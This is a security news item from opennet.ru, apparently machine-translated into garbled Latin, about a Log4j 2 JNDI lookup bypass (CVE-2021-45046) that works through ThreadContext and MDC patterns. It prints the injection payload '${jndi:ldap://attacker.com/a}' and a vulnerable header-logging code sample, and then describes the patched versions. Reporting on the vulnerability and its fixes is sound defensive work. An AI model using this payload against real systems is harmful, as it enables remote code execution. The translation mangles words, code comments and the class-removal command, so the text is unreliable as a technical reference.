Novum impetum optio pro Log4j 2 quod permittit ut praesidium additae praetermittas

Alia vulnerabilitas in exsequendatione JNDI lookuporum in bibliotheca Log4i 2 (CVE-2021-45046) notata est, quae non obstante fixarum solutionis 2.15 additae apparet, et cuiuscumque usus "log4j2.noFormatMsgLookup" tutelae destinatus est. Problema maxime periculosum est in vetustis versionibus Log4j 2, adhibitis vexillis "noFormatMsgLookup" munitum, cum fieri potest ut tutelam priorum vulnerum praetermittant (Log4Shell, CVE-2021-44228), quae te in codice tuo exsequi permittit. cultor. Pro utentibus versionis 2.15, abusus limitatur ad applicationem ad fragorem ob lassitudinem copiarum promptarum.

Vulnerabilitas tantum apparet in systematis quae Contextus Lookups logging utuntur, ut ${ctx:loginId}, vel MDC templates (Map Contextus Thread), ut %X, %mdc, et %MDC. Operatio descendit ad conditiones creandas pro outputatione data continens JNDI substitutiones ad stipem cum utens contextus quaestionis vel MDC templates in applicatione quae regulas formandi ad stipitem definiunt.

Investigatores ex LunaSec notaverunt pro versionibus Log4j minus quam 2.15, haec vulnerabilitas adhiberi posse ut novus vector pro oppugnatione Log4Shell, ducens ad exsecutionem codicis, si locutiones ThreadContext quae externas notitias includunt in output log adhibentur, cujuscumque num. "protegere" vexillum est enabled. noMsgFormatLookups" vel Formula "%m{nolookups}".

Novum impetum optio pro Log4j 2 quod permittit ut praesidium additae praetermittas

Praesidium praetermittens eo descendit quod in loco directae substitutionis "${jndi:ldap://attacker.com/a}" substituitur haec expressio per valorem mediae variabilis in regulis formatting log output adhibitis. . Exempli gratia, si contextus quaestionis ${ctx:apiversion} adhibetur cum outputatio ad truncum, impetus ferri potest substituendo data "${jndi:ldap://attacker.com/a}" in tiam scriptae ad apiversionem variandam. Exemplum codicis vulnerabilis: appender.console.layout.pattern = ${ctx:apiversio} - %d{aaaa-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") publicus String index(@RequestHeader("X-Api-Version") String apiVersion) { // The "X-Api-Version" HTTP capitis valorem ad ThreadContext ThreadContext.put("apiversionem transmittitur. ", apiVersion); // Cum ad stipitem extrahendum, apiversio externa valor discursum erit utens substitutione ${ctx:apiversion} logger.info("Aprecatio pro API version"); "Salve, mundum!"; }

In versione Log4 2.15, vulnerabilitas adhiberi potest ad impetus DoS faciendos cum valores transeuntes ad ThreadContext, inde per ansam in processui formatting formatting.

Novum impetum optio pro Log4j 2 quod permittit ut praesidium additae praetermittas

Ad vulnerabilitatem claudendam, updates 2.16 et 2.12.2 divulgabantur. In Log4j 2.16 ramo, praeter fixa quae in versione 2.15 perficiuntur et ligatio JNDI LDAP petitiones "localhost", JNDI functionis est, per defaltam et sustentationem pro nuntius substitutionis templates sublata est. Pro securitate habemus, suggeritur JndiLookup genus e classpath removere (exempli gratia "rar -q -d log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

Species fixorum in fasciculis indagare potes in paginis distributionum (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) et fabricarum suggestuum Java (GitHub, Docker, Oraculum, vmWare, Broadcom et Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F Secure, etc.

Source: opennet.ru